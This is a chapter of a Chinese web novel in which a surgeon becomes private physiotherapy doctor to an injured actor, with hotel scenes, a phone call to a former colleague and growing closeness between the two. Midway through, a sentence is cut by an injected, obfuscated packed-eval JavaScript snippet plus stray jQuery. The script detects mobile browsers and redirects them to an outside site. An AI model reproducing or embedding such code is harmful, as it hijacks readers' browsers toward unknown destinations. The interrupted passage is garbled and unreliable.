chapter15
沈清圆拿到offer后的这几天，已经把那本《骨科康复学》里关于腰伤的部分啃得七七八八。
她是骨外科医生，外科跟康复科更多是协作关系。实操层面，很多细节并不熟知，临时抱佛脚也好。
知识点什么的并不陌生，毕竟外科和康复科都在同一个医学体系下，沈清圆的好底子在那里，上手很快。
除了通识知识，她在家的时候还研究了一下最新的论文，看有没有多快好省的新型治疗技术。毕竟医学日新月异，赋闲小半年，她都有点自卑了，怕被甩在后面。
高铁进站，一行人下了车，走出闸机。还是有一波粉丝闻风而来。远远看见，有人大叫一声：苏燎！是苏燎！
然后，那波人像黑色云团一般，争先恐后，快速挪动过来……
好在叶初阳火了几年，已经很有“斗争”经验。
他们一行走VIP通道，赶鸭子上架一般匆匆钻进地库停着的一辆商务车。
上了车，小超舒了一口气，放松道：“还好，今天粉丝不多。”
这……还不多？
沈清圆没仔细看，不过轰轰隆隆的，看气势感觉有十几二十几个吧。
沈清圆忽然对明星的世界有点好奇，“你们每次出门，追星族都这么多？”
她用了一个古老名词：追星族。
现在谁还用这个？
小超愣了一下，“沈姐，你是不是不太看娱乐新闻？”
沈清圆：“还真不大看。”
小超耸耸肩，意味深长地道：“不着急，慢慢你就知道了。”
一瞥间，沈清圆瞅到叶初阳面色如常，可能舟车劳顿，又有腰伤，面上带一层倦色，话也不太想说的样子。
到了叶初阳下榻的酒店，沈清圆才发现房间里冲击波治疗仪、三维牵引床、红外线理疗灯都有，看起来还不像是新买的，像是用过一阵子了。
小超解释道：“上一部戏阳哥就伤了，又不能耽误拍摄进度，只好把这些仪器都买回来，请了个理疗师，咬着牙，边治边拍摄。”
结果可想而知，身体透支，拍到最后腿脚动弹不了，救护车都叫来了。
小超想起叶初阳之前的艰难苦恨，是旁观者都觉得痛心的程度。虽然人家这职业赚得多吧，那份苦还真不是谁都能吃的。
“那之前的理疗师呢？”沈清圆一下子抓住重点，“怎么不继续用他？”
“这个嘛……”小超忽然觉得奇怪，也没听阳哥说之前的理疗师哪里不好，怎么回一趟老家的工夫，就换了新人？
他探询地往叶初阳那边看一眼，对方没啥反应。
小超只好自我发挥，“阳哥觉得不太好，技术一般般，这不就请了沈姐你来嘛，肯定比上一个强！”
很快，小超就发现，这一个未必比上一个强。因为沈清圆问他理疗仪的说明书在哪里？
不过，这位沈医生有个好处，丝毫不见慌张啊，就理所当然地不会，理所当然地打开说明书，比对着仪器上的按钮研究。
小超还慌张了一下的，不过看叶初阳，挺悠哉悠哉地拿着厚厚一本剧本，滚着轮椅，到小客厅靠窗的小茶几旁开始看，也丝毫不见慌张。
既然人家当事人都这么淡定，他也就没什么意见了。
而且，小超还观察到，这两个人似乎有一种熟稔的默契，相互间没什么客套。按说刚认识的工作伙伴，彼此还是有些陌生感和尴尬的，他们不太一样。
当然，这时候他还不知道人家是高中同学。
沈清圆捯饬了两个钟头，小型的治疗仪操作起来不算烦琐，比照着说明书，能弄明白个七七八八。
有一个地方她拿不准，沈清圆拿出手机看了看时间，犹豫了几秒，先发了条微信过去。
对方是她在蓟城医院工作时的同事，康复科的赵礼，之前跟沈清圆关系还算不错，私底下也一块吃过饭。
五点多钟的时候，赵礼回了通语音电话。
沈清圆定了定神，郑重地接起来。
“沈医生，沈医生，好久不见，你好吗？！”赵礼的声音很热情。
沈清圆：“我挺好的，赵礼，多谢你记挂。”
这样说完，一时间都默了一下。成年人大忌是交浅言深，所以赵礼虽然有浓烈的好奇，出于礼貌还是忍住了。
沈清圆其实挺感激赵礼的，人走茶凉多理所应当的事，想不到赵礼还愿意回她的电话。
“赵礼，突然打扰你实在挺不好意思的，”沈清圆斟酌着措辞，“你现在方便的话，我可不可以请教你几个理疗仪操作上的问题？”
“当然可以啦！”赵礼道，“沈医生，你换医院了？怎么还操作上理疗仪了？”
透露一点近况也没什么，沈清圆坦诚道：“算是私人医生吧，这些仪器什么的刚开始学着用，所以有很多不明白的地方。”
赵礼的语气热烈，“哎呀，那多好，私人医生待遇好，可比苦哈哈的公立医院强得多！”
沈清圆笑不出。好在隔着电波，不必强颜欢笑。
“我还是老样子，固定的时间上固定的班，余下二三十年应该都是这种日子吧……”
赵礼说到这里忽然觉得不妥，好像……有点炫耀的意思了。经济下行，这年头，谁不想有个稳定的班上。
“对了，沈医生，你什么仪器不会操作，你说，我现在就教你！”她立刻转了话题。
沈清圆把不明白的地方说了，赵礼不愧是专业的，一听就知道是什么问题，三下五除二地解释一通，沈清圆比对着仪器和说明书，很快就恍然大悟了。
最后赵礼还客气地说，要她有什么新问题再问，千万别客气。
沈清圆自然千恩万谢，两人还约定等沈清圆回到蓟城，就请赵礼吃饭。
这种约定也不知能不能实现。
-
隔天中午，换班吃饭的时候，赵礼跟同事八卦了几句。
“你还记得外科那个沈医生吗？她昨天联系我了。”
“哪个沈医生？”
“沈清圆，半年前走的那位！”
“啊？她？？？她不是……”同事欲言又止，想到毕竟是公共场合，转头四下张望了下。
好巧不巧，隔壁桌就坐着骨外科的孙至医生。他跟康复科打过几次交道，所以赵礼她们认识。
好在职工餐厅人声嘈杂，人人忙自己的事，谁跟谁说了什么，可能压根没人在意。
“沈医生找你干吗？”
“请教理疗仪的操作。”赵礼说，“人家现在做私人医生了，我估摸着也不少赚。”
“她不是外科的嘛，怎么现在跟我们康复师的工作差不多？”同事好奇地道，心情忽然有点暗戳戳地好。
哪哪都有鄙视链，康复师在这条鄙视链的中下层，外科医生肯定在上层。
本来在上层的人忽然下滑到中下层，即便只是滑到跟她们同一个水平线上，也足够一些人暗戳戳地痛快。
人性如此。
“不知道，能再找到工作也不错啦，毕竟……”赵礼欲言又止，想了想，换了个话题，“算了，不聊她了。你上次介绍的那家按摩店挺不错，下次休息，我们一块去……”
-
叶初阳的酒店房间里有小型的跑步机和椭圆机，加上理疗仪器和拉拉杂杂的日常用品，本来挺宽敞的房间现在显得有点挤。
小超收拾了一通。到底是二十出头的大小伙子，脸上一点没有舟车劳顿的疲倦。
这是个套间，本来隔壁小间没人住，后来叶初阳受了腰伤，起夜什么的需要人帮忙，小超就住进来了。
小超拎着两大包东西往隔壁走，刚走出两步，忽然停住了。
以后这小间给谁住啊？
私人医生什么的，不是应该住近点，方便照顾？叶初阳也有晚上痛醒、满头大汗的时候。
小超还记得那时候，他手忙脚乱，恨不得立刻打120。要是有医生在，大家都心安些。
“阳哥，沈医生的东西放隔壁小间吗？”
叶初阳和沈清圆都愣了一下。
叶初阳放下剧本，沈清圆也暂停研究牵引床。
见他俩愣，小超也呆了下，过了几秒，才有点不太自信地建议：“那个……阳哥有时候晚上也会腰痛，沈医生住在隔壁小间的话，可以帮忙治疗哈。”
当然，那也意味着他不用每晚担着小心，可以舒舒服服睡个好觉了。
叶初阳想了一下，好像……也不是不可行吧。
一想到沈清圆住隔壁的话……一门之隔，就莫名有点脸红心热啊，怎么回事？
然而理智还是告诉他，这方案不太行。
狗仔和私生饭无孔不入，无缝不钻，要是被他们发现苏燎的房间
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16047635|179017||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
住进一名女性，即便是医生，恐怕也会掀起轩然大波。
而且，小超今天是怎么回事？
话这么多！！
一会吐槽他不爱看书，一本书揣兜里三年还没看完；一会又自作主张安排住宿。
孩子大了，翅膀硬了！
“不行——”
沈清圆和叶初阳两个人异口同声地说。
小超摸摸后脑，看了看叶初阳的脸色，又看沈清圆的，讪讪地道：“我就小小地建议一下，阳哥，沈姐，你们忙，当我没说哈！”
然后火速地溜了。
叶初阳感觉气氛有点尴尬，转头观察了一下沈清圆的脸色。
就，挺平静的。很沈清圆。
叶初阳道：“这小子今天有点脑残，沈医生别在意。”大有孩子闯了祸，父母出面处理，先骂一通自家孩子再说。
“你这几天晚上还腰痛吗？”沈清圆忽然问。
“就，偶尔吧。”叶初阳老实说，“比刚受伤那会强多了。”
沈清圆敬业地道：“那，方便的话，房卡给我一张，要是再疼，你打电话给我！”末了，又补一句，“不用强忍着。”
她当值夜班了，反正当住院医师的时候大家都是轮流值夜班的。
叶初阳感受到了浓浓的温暖，有被关爱到。
受伤的时候，他也恐惧，害怕下半生成了瘫子。如果是那样的话，再大的成功，再多的金钱又有什么意义呢？
他急，身边的人更急，都担着干系，投资人身家性命在里面。所以只能咬着牙，死撑下去。
终于，有个人跟他说“不用强忍着”。
-
舟车劳顿了一天，叶初阳的腰痛加重了几分，到傍晚时就只想躺在床上。
一想到明天还要开一天剧本会，叶初阳叹了一口气，有点畏难情绪。
好像有条件被人呵护一把的时候，人就没那么坚强了。
正在调试冲击波治疗仪的沈清圆注意到了他的情绪，问道：“你怎么了？”
叶初阳看她，“休假结束，要开始工作了。有点像学生时代的周一综合症。你们好学生应该是没有这种周一综合症的吧？”
沈清圆笑了笑：“都一样，大脑天性好逸恶劳。不过……”她顿一下，沉吟道，“有工作要做，证明还被这个社会需要，也是值得庆幸的一件事。”
落地窗外是渐趋黯淡的天光，最后一抹金光洒进来。
沈清圆调试好治疗仪的治疗频率和治疗能量，让叶初阳俯卧在床上。
房间里只有他们两个人，小超去隔壁小间收拾去了。
沈清圆娴熟地撩开他背上的衣物，戴上一次性医用手套。
“是这里吗？这里疼吗？左边更重些，还是右边？”
隔着薄薄一层塑胶手套，她的手指在他腰背处轻轻滑动。
气氛有点异样，叶初阳莫名觉得不自在。
“嗯……”手指滑过的地方有点痒，他轻轻扭动了几下，试图寻找一个更舒服的姿势，“大概是那里吧。”
毕竟是第一次操作理疗仪，而且冲击波本身对人体是有破坏性的，沈清圆再三再四地确认。
沈清圆将治疗头贴合在他患处。按下屏幕上的开始键。
仪器发出一声刺耳的噪音。叶初阳先前已经习惯了做理疗，也不觉得怎样。治疗完，他就慢慢坐起来，看着沈清圆收仪器。
倒是沈清圆紧张得额头冒汗，额前的发丝都濡湿了。
她脸色也有点白。
按说沈清圆又不是刚开始实习的医学生，何至于这么紧张？
叶初阳隐约觉得哪里不对劲。从在辰阳第一次遇到大忙人沈清圆开始，他就有这种不对劲的感觉。
后来参加同学聚会，他到包厢门口的时候，恰好听到沈清圆在说她没打算出国的事，还听她说已经离开了蓟城的医院，帮不上谁的忙之类。
那种场合当然不适合细问。当然，即便在私下里，以十年前浅淡的交情，也并不适合在十年后贸然追问人家的私隐。
但是，现在，好像有一点不同了。
他们成了一个团队的伙伴，她关心他的病痛，帮助他恢复健康，小心翼翼，恪尽职守。那么，他也可以对她好奇吧，带点关心的小心思？
想到这里，叶初阳再也按捺不住好奇，脱口而出：“沈清圆，你为什么离开蓟城？”